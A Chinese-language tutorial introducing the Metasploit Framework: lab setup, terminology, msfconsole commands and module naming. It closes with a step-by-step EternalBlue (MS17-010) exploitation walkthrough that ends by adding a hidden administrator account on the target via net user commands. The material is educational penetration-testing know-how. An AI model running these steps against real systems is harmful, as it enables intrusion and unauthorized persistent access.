一、初識MSF
1、什么是Metasploit
Metasploit就是一個漏洞框架。它的全稱叫做The Metasploit Framework,簡稱MSF。是一個免費、可下載的框架,通過它可以很容易地獲取、開發並對計算機軟件漏洞實施攻擊。它本身附帶數2000多個已知軟件漏洞的專業級漏洞攻擊工具。當H.D. Moore在2003年發布MSF時,計算機安全狀況也被永久性地改變了。仿佛一夜之間,任何人都可以成為黑客,每個人都可以使用攻擊工具來攻擊那些未打過補丁或者剛剛打過補丁的漏洞。軟件廠商再也不能推遲發布針對已公布漏洞的補丁了,這是因為MSF團隊一直都在努力開發各種攻擊工具,並將它們貢獻給所有MSF用戶。
MSF的設計初衷是打造成一個攻擊工具開發平台,然而在目前情況下,安全專家以及業余安全愛好者更多地將其當作一種點幾下鼠標就可以利用其中附帶的攻擊工具進行成功攻擊的環境。
2、MSF硬件要求
- 硬盤:大小至少40GB,文件格式建議NTFS,不支持FAT32
- 內存:2GB
- 處理器:500HMZ
- 網絡:要求聯網
- 軟件:兩套操作系統,一台kali系統,一台測試系統
- 虛擬機:VMware、VMware
- kali Linux:http://www.kali.org/downloads/
- Linux靶機系統:Metasploitable系統,下載鏈接:kail下載地址 https://pan.baidu.com/s/1c05BnlI
http://cdimage.kali.org/kali-weekly/
http://sourceforge.net/projects/Metasploitable/files/Metasploitable2/ (下載后是zip格式,解壓后直接用VM打開,默認賬號和密碼是 msfadmin:msfadmin )。擴展網址:https://community.rapid7.com/docs/DOC-1875
3、MSF專業術語講解
3.1、滲透攻擊(exploit)
滲透攻擊是指由攻擊者或者滲透測試者利用系統、應用或服務中的安全漏洞,所進行的攻擊行為。
流行的攻擊技術包括:緩沖區溢出、Web應用程序漏洞攻擊,以及利用配置錯誤等。
3.2、攻擊載荷(payload)
payload字面意思是有效攻擊載荷,包含需要在遠程主機上運行的惡意代碼。
payload和exploit的區別:
- exploit是傳送系統(運載火箭),payload是用來實際做什么事的代碼(彈頭)
3.3、溢出代碼(Shellcode)
shellcode是在滲透攻擊時作為攻擊載荷運行的一組機器指令。shellcode通常用匯編語言編寫。在大多數情況下,目標系統執行了shellcode這一組指令后,才會提供一個命令行shell或者meterpreter shell,這也是shellcode名稱的由來。
3.4、模塊(module)
在MSF中,一個模塊是指MSF框架中所使用的一段軟件代碼組件。例:滲透攻擊模塊(exploit module),用來發起滲透攻擊的軟件組件。掃描模塊(auxiliary module),用來掃描可以使用的攻擊工具或掃描工具。
3.5、監聽器(listener)
監聽器是MSF中用來等待網絡連接的組件。例:在目標主機被滲透攻擊之后,它可能會通過互聯網回連到攻擊者主機上,而監聽器組件在攻擊者主機上等待被滲透攻擊的主機主動連接,並負責處理這些網絡連接。
二、msfconsole命令
1、幫助菜單
2、在?后面加命令(之間有空格),顯示這條命令的功能
3、search 搜索模塊名和描述
例如搜索ms08-067模塊,執行search ms08-067
4、info 顯示一個或多個模塊的信息,例如ms08-067的模塊
5、irb進入irb腳本模式
6、jobs顯示和管理作業(和windows任務管理器的進程作用一樣)
- kill:殺死一個作業(和結束進程的作用一樣)。
loadpath:加載一個模塊的路徑。
quit:退出MSF。
load:加載一個插件。
resource:運行儲存一個文件中的命令。
route:查看一個會話的路由信息。
save:保存動作。
set:給一個變量賦值。
setg:把一個賦值給全局變量,例如上述set設置的IP,就會用到其他攻擊模塊的RHOST中。
sleep:在限定的秒數內什么也不做。
unload:卸載一個模塊。
unset:解出一個或多個變量。
unsetg:解出一個或多個全局變量。
version:顯示MSF和控制台庫版本。
三、Exploits And Payloads模塊
1、exploits模塊
- 命名規則:系統/服務/名稱
例如:windows/smb/ms08_067_netapi
RHOST:目標主機IP地址
RPORT:目標主機連接端口
Payload:有效的載荷,成功后返回shell
LHOST:攻擊者的IP地址
LPORT:攻擊者的端口
2、payloads模塊
- 是在使用一個模塊之后再去使用的。
命名規則:系統/類型/名稱
例如:Windows/dllinject/reverse_tcp
類型命名規則
shell:上傳一個shell。
dllinject:注入一個dll到進程。
patchup***:修補漏洞。
upexec:上傳並執行一個文件。
meterpreter:高級的payload。
vncinject:高級的payload。
passive:高級的payload。
四、實戰案例
以永恆之藍MS17-010為例:
1、在kali中輸入msfconsole
2、進入后輸入search ms17-010
3、找到exploit/windows/smb/ms17_010_eternalblue,輸入
use exploit/windows/smb/ms17_010_eternalblue
4、查看exploit的基本配置信息(show info 查看作者信息)
show options
5、配置exploit攻擊對象的IP地址
set rhosts 192.168.13.29
6、使用run或exploit進行攻擊
7、輸入shell進入對方機器增加用戶
創建用戶:net user test 1234 /add (xxx用戶名 1234密碼)
net localgroup administrators test /add(將用戶設置為管理員權限)